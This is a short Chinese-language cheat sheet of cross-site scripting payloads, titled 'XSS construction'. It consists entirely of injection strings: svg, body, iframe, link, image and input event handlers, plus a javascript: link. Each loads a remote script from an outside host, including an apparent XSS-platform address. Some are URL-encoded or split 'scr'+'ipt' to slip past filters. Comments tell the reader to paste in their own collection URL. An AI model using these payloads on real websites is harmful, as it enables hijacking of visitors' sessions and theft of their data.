xss构造

<svg/onload=s=createElement('script');body.appendChild(s);s.src='url';>                          

<body/onpageshow=eval(unescape(/var%20b%3Ddocument.createElement%28%22script%22%29%3Bb.src%3D%22http%3A%2F%2Fxss.tttt.me%2FneKXvH%3F%22%2BMath.random%28%29%3B%28document.getElementsByTagName%28%22HEAD%22%29%5B0%5D%7C%7Cdocument.body%29.appendChild%28b%29%3B/.source));>

//自己吧xss平台的img的代码复制进去

//下面的自己吧xss的url粘贴进去，自己体会                  

<iframe/onload=s=createElement('script');body.appendChild(s);s.src='t.cn';height=0 width=0>

<a href="#" onmouseover="var vv='scr';vvv=vv+'ipt';se = document.createElement(vvv);se.src = 'http://t.cn/';document.getElementsByTagName('head')[0].appendChild(se);">aa</a>

//鼠标划过该链接执行

<a href="#" onmouseover="var vv='scr';vvv=vv+'ipt';se = document.createElement(vvv);se.src = 

'http://t.cn/';document.getElementsByTagName('head')[0].appendChild(se);"><img src="http://www.baidu.com/img/bdlogo.gif" style="position:absolute;left:123px;top:123px;"></a>

//鼠标划过该图片执行

<input type="image" onmouseover="var vv='script';se = document.createElement(vv);se.src = 'http://t.cn/';document.getElementsByTagName('head')[0].appendChild(se);" style="border:50px solid #fff;" value=" ">

//鼠标划过该button执行

<a href="javascript:var vv='scr';vvv=vv+'ipt';se = document.createElement(vvv);se.src = 'http://t.cn/';document.getElementsByTagName('head')[0].appendChild(se);">点我</a>

//a标签的JavaScript伪协议点击执行